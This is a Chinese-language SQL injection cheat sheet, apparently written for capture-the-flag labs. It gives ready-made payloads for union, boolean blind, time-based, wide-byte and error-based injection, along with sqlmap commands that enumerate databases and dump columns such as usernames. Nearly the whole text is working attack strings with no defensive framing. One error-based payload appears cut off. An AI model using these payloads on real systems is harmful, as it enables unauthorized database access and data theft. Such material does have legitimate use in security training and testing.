Sql注入总结
Sql注入总结
联合查询:
1、利用闭合变量报错测试注入点, ?id=1’ .这样说明存在单引号闭合注入
2、是否存在注入点,用and语句测试 ?id=1’ and 1=2# ?id=1’ and 1=1#
3、猜测字段 ,?id=1’ order by 3%23
4、找到页面中数据输入点, ?id=-1’ union select 1,2,3%23
5、查数据库,?id=1’ union select 1,database(),3%23
6、查表,?id=-1’ union select 1,table_name,3 from information_schema.tables where table_schema=database()%23
7、?id=-1’ union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=‘b表名’%23
8、?id=-1’ union select 1,flag,3 from 数据库.表名%23
布尔型:
1、判断是否存在注入点
?id=1’ and 1=1%23 (返回ture页面)
?id=1’ and 1=2%23 (返回false页面)
存在布尔型盲注
2、查数据库长度
id=1’ and (length(database()))>7%23 返回ture页面说明长度大于7
id=1’ and (length(database()))>20%23 返回false页面说明长度小于20
利用二分法最终确定数据库长度
如果id=1’ and (length(database()))=12%23 返回ture说明数据库长度为12
3、查数据库
4、?id=1’and ascii(substr(database(),2,1))>114%23(对查询的数据取第一位判断)
5、substr(a,b,c)是截取字符函数。a=截取对象 b=截取的位数 c=截取的个数
substr(database(),1,1)是取出数据库的第一位的值。如果database()=mozhe的话。
substr(database(),1,1)=’m’ substr(database(),2,1)=’o’ substr(database(),3,1)=’z’
6、查表
?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1)))>130%23(利用二分法,ascii为ascii码,例如97=‘a’)
7、查列:
?id=1’ and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1),1,1)))>0%23 (如果报错可以加limit 0,1)
8、查字段
?id=1’ and length((select username from 数据库.表名 limit 0,1))>0%23
延时型:
是由返回响应的时间判断的。利用此函数sleep()与if()
判断:?id=1’ and sleep(5)%23 响应时间5秒存在延时注入
查数据库
?id=1’and if((ascii(substr(database(),1,1))>114) ,sleep(5),0)%23
其他操作语法与布尔型一样。
例如:
试下延时注入
?id=1’ and sleep(5)%23
?id=1’and if((ascii(substr(database(),1,1))>114) ,sleep(5),0)%23
宽字节:
测试
?id=1’ and 1=2%23 没反应
?id=1’ %df’ and 1=2%23 页面返回假。说明存在宽字节注入
后面与前面语法一样。不过都得?id=1’ %df’ 有%df进行注入
报错型注入
测试?id=-1’爆出数据库语句错误,存在爆出注入
Exp1
?id=1’ and (select 1 from (select count(*),concat((database()),floor(rand(0)*2))x from information_schema.table%23
Exp2
?id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))%23
Exp3
?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)%23
Exp4
?id=1’ union select (exp(~(select * FROM(SELECT USER())a))),2,3–+
(-1或者1可自行测试)ps:后面的表、列、字段按照联合查询语法即可。
如:
爆表名
?id=1’ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))%23
爆全部表名
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))%23
爆字段,拿flag
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username) from security.users),0x7e))%23
sqlmap使用
get方式
查所有数据库
Sqlmap -u “url” --dbs
当前数据库
Sqlmap -u “url” --current-db
表
Sqlmap -u “url” -D 数据库 --tables
列
Sqlmap -u “url” -D 数据库 -T 表名 --columns
字段
Sqlmap -u “url” -D 数据库 -T 表名 -C 列名1,列名2 --dump
Post方式
例如Post ?id=1
然后进行bp抓包,如下:
如保存为1.txt 路径为c://windows/web/1.txt 存在于本机的路劲
例如:python sqlmap.py -r “C:\Users\Administrator\Desktop\sqlpost.txt” -p id --current-db
查所以数据库
Sqlmap -r “c://windows/web/1.txt” -p id --dbs (-r为保存的txt文件路径,-p为存在注入的参数,这里是id)
当前数据库
Sqlmap -r “c://windows/web/1.txt” -p id --current-db
查所有表
Sqlmap -r “c://windows/web/1.txt” -p id -D 数据库 --tables
列
Sqlmap -r “c://windows/web/1.txt” -p id -D 数据库 -T 表名 --columns
字段
Sqlmap -r “c://windows/web/1.txt” -p id -D 数据库 -T 表名 -C 列名1,列名2 --dump
第二种方法
如post id=1存在注入
sqlmap -u“url”–data=“id=1”
第三种方法
在表单中,例如登陆页面,如果不知道那个参数存在注入
sqlmap.py -u “url” --forms
然后一直点y即可。
http头部注入
referrer头
sqlmap -u “url” --dbs --level 3
可能要跑很久
host头
sqlmap -u “url” --dbs --level 5
user-agent
sqlmap -u “url” --user-agent --dbs --level 3
宽字节
sqlmap -u “url?id=1%df’” --dbs